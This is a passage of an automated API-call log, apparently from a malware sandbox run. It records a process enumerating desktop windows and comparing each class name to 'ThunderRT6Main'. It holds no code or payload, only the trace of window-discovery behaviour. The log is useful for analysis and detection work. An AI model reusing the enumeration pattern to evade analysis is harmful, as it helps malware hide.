0x1019c [0182.894] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="willing_Morocco_") returned 16 [0182.894] lstrcmpA (lpString1="willing_Morocco_", lpString2="ThunderRT6Main") returned 1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0182.894] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x10198 [0182.894] GetClassNameA (in: hWnd=0x10198, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Nor_window") returned 10 [0182.894] lstrcmpA (lpString1="Nor_window", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0182.894] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0182.894] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.894] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0182.894] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0182.894] GetClassNameA (in: hWnd=0x10194, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="dominantoutwindow") returned 17 [0182.894] lstrcmpA (lpString1="dominantoutwindow", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0182.894] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0182.894] GetClassNameA (in: hWnd=0x10196, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.894] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.894] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0182.894] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0182.894] GetClassNameA (in: hWnd=0x10190, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Rice_win") returned 8 [0182.895] lstrcmpA (lpString1="Rice_win", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x808 [0182.895] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0182.895] GetClassNameA (in: hWnd=0x10192, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x808 [0182.895] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c [0182.895] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="LinkFormationentrepreneurapp") returned 28 [0182.895] lstrcmpA (lpString1="LinkFormationentrepreneurapp", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5cc [0182.895] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e [0182.895] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5cc [0182.895] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188 [0182.895] GetClassNameA (in: hWnd=0x10188, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tracySearchingapp") returned 17 [0182.895] lstrcmpA (lpString1="tracySearchingapp", lpString2="ThunderRT6Main") returned 1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6c4 [0182.895] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a [0182.895] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6c4 [0182.895] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184 [0182.895] GetClassNameA (in: hWnd=0x10184, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Fd_Shoes_class") returned 14 [0182.895] lstrcmpA (lpString1="Fd_Shoes_class", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0182.895] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186 [0182.895] GetClassNameA (in: hWnd=0x10186, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0182.895] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180 [0182.895] GetClassNameA (in: hWnd=0x10180, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="FinishedpizzaSuperbclass") returned 24 [0182.895] lstrcmpA (lpString1="FinishedpizzaSuperbclass", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0182.895] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10182 [0182.895] GetClassNameA (in: hWnd=0x10182, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.895] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0182.895] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x1017c [0182.895] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Domain_wnd") returned 10 [0182.895] lstrcmpA (lpString1="Domain_wnd", lpString2="ThunderRT6Main") returned -1 [0182.895] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x718 [0182.895] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0182.896] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x718 [0182.896] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0182.896] GetClassNameA (in: hWnd=0x10178, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="VectorFollowsvalvescls") returned 22 [0182.896] lstrcmpA (lpString1="VectorFollowsvalvescls", lpString2="ThunderRT6Main") returned 1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8 [0182.896] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0182.896] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8 [0182.896] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0182.896] GetClassNameA (in: hWnd=0x10174, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="targets_despite_wnd") returned 19 [0182.896] lstrcmpA (lpString1="targets_despite_wnd", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x23c [0182.896] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0182.896] GetClassNameA (in: hWnd=0x10176, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x23c [0182.896] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170 [0182.896] GetClassNameA (in: hWnd=0x10170, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Businessesarchitecturewin") returned 25 [0182.896] lstrcmpA (lpString1="Businessesarchitecturewin", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0182.896] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172 [0182.896] GetClassNameA (in: hWnd=0x10172, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0182.896] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0182.896] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="RecruitmentCap") returned 14 [0182.896] lstrcmpA (lpString1="RecruitmentCap", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0182.896] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0182.896] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0182.896] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0182.896] GetClassNameA (in: hWnd=0x10168, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="scoring_window") returned 14 [0182.896] lstrcmpA (lpString1="scoring_window", lpString2="ThunderRT6Main") returned -1 [0182.896] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90 [0182.896] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0182.896] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.896] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90 [0182.897] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0182.897] GetClassNameA (in: hWnd=0x10164, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Islam_Commands_cls") returned 18 [0182.897] lstrcmpA (lpString1="Islam_Commands_cls", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x398 [0182.897] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0182.897] GetClassNameA (in: hWnd=0x10166, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x398 [0182.897] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x2015a [0182.897] GetClassNameA (in: hWnd=0x2015a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Died_win") returned 8 [0182.897] lstrcmpA (lpString1="Died_win", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x2015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f0 [0182.897] GetWindow (hWnd=0x2015a, uCmd=0x2) returned 0x50160 [0182.897] GetClassNameA (in: hWnd=0x50160, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x50160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f0 [0182.897] GetWindow (hWnd=0x50160, uCmd=0x2) returned 0x30110 [0182.897] GetClassNameA (in: hWnd=0x30110, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="brokerWorkoutclass") returned 18 [0182.897] lstrcmpA (lpString1="brokerWorkoutclass", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x30110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b0 [0182.897] GetWindow (hWnd=0x30110, uCmd=0x2) returned 0x40158 [0182.897] GetClassNameA (in: hWnd=0x40158, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x40158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b0 [0182.897] GetWindow (hWnd=0x40158, uCmd=0x2) returned 0x2015e [0182.897] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="optional_licensing_undefined_win") returned 32 [0182.897] lstrcmpA (lpString1="optional_licensing_undefined_win", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c [0182.897] GetWindow (hWnd=0x2015e, uCmd=0x2) returned 0x2015c [0182.897] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c [0182.897] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x600a4 [0182.897] GetClassNameA (in: hWnd=0x600a4, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Pf_Printed_awesome_class") returned 24 [0182.897] lstrcmpA (lpString1="Pf_Printed_awesome_class", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x600a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x474 [0182.897] GetWindow (hWnd=0x600a4, uCmd=0x2) returned 0x3001c [0182.897] GetClassNameA (in: hWnd=0x3001c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.897] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x3001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x474 [0182.897] GetWindow (hWnd=0x3001c, uCmd=0x2) returned 0x9009e [0182.897] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="advances_Doors_Involve_win") returned 26 [0182.897] lstrcmpA (lpString1="advances_Doors_Involve_win", lpString2="ThunderRT6Main") returned -1 [0182.897] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0182.897] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x3010c [0182.898] GetClassNameA (in: hWnd=0x3010c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.898] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.898] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0182.898] GetWindow (hWnd=0x3010c, uCmd=0x2) returned 0x20162 [0182.898] GetClassNameA (in: hWnd=0x20162, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0182.898] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0182.898] GetWindowThreadProcessId (in: hWnd=0x20162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0182.898] GetWindow (hWnd=0x20162, uCmd=0x2) returned 0x1014e [0182.898] GetClassNameA (in: hWnd=0x1014e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0182.898] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0182.898] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0182.898] GetWindow (hWnd=0x1014e, uCmd=0x2) returned 0x1014c [0182.898] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0182.898] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0182.899] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x20142 [0182.899] GetClassNameA (in: hWnd=0x20142, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0182.899] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0182.899] GetWindow (hWnd=0x20142, uCmd=0x2) returned 0x10136 [0182.899] GetClassNameA (in: hWnd=0x10136, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0182.899] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0182.899] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10138 [0182.899] GetClassNameA (in: hWnd=0x10138, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0182.899] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x1012e [0182.899] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="ATL:000007FEFBAB41F0") returned 20 [0182.899] lstrcmpA (lpString1="ATL:000007FEFBAB41F0", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0182.899] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0182.899] GetClassNameA (in: hWnd=0x10130, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0182.899] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0182.899] GetClassNameA (in: hWnd=0x10124, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0182.899] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0182.899] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0182.899] GetClassNameA (in: hWnd=0x10126, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.899] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0182.899] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10122 [0182.899] GetClassNameA (in: hWnd=0x10122, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.899] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0182.899] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x200e4 [0182.899] GetClassNameA (in: hWnd=0x200e4, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.899] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x200e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.899] GetWindow (hWnd=0x200e4, uCmd=0x2) returned 0x300bc [0182.899] GetClassNameA (in: hWnd=0x300bc, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0182.899] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x300bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.899] GetWindow (hWnd=0x300bc, uCmd=0x2) returned 0x300aa [0182.899] GetClassNameA (in: hWnd=0x300aa, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0182.899] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0182.899] GetWindowThreadProcessId (in: hWnd=0x300aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.900] GetWindow (hWnd=0x300aa, uCmd=0x2) returned 0x200b8 [0182.900] GetClassNameA (in: hWnd=0x200b8, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x200b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.900] GetWindow (hWnd=0x200b8, uCmd=0x2) returned 0x200c0 [0182.900] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.900] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x300c4 [0182.900] GetClassNameA (in: hWnd=0x300c4, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0182.900] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x300c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.900] GetWindow (hWnd=0x300c4, uCmd=0x2) returned 0x800a2 [0182.900] GetClassNameA (in: hWnd=0x800a2, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0182.900] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x800a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.900] GetWindow (hWnd=0x800a2, uCmd=0x2) returned 0x2001a [0182.900] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0182.900] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0182.900] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x20022 [0182.900] GetClassNameA (in: hWnd=0x20022, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x594 [0182.900] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20016 [0182.900] GetClassNameA (in: hWnd=0x20016, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0182.900] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x730 [0182.900] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x20018 [0182.900] GetClassNameA (in: hWnd=0x20018, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="IME") returned 3 [0182.900] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x730 [0182.900] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x10108 [0182.900] GetClassNameA (in: hWnd=0x10108, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.900] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0182.900] GetWindow (hWnd=0x10108, uCmd=0x2) returned 0x10102 [0182.900] GetClassNameA (in: hWnd=0x10102, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.900] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x464 [0182.900] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fe [0182.900] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.900] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x58c [0182.900] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0182.900] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0182.900] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0182.900] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0182.901] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0182.901] GetClassNameA (in: hWnd=0x10084, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.901] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x550 [0182.901] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0182.901] GetClassNameA (in: hWnd=0x10082, lpClassName=0x26a810, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0182.901] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0182.901] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 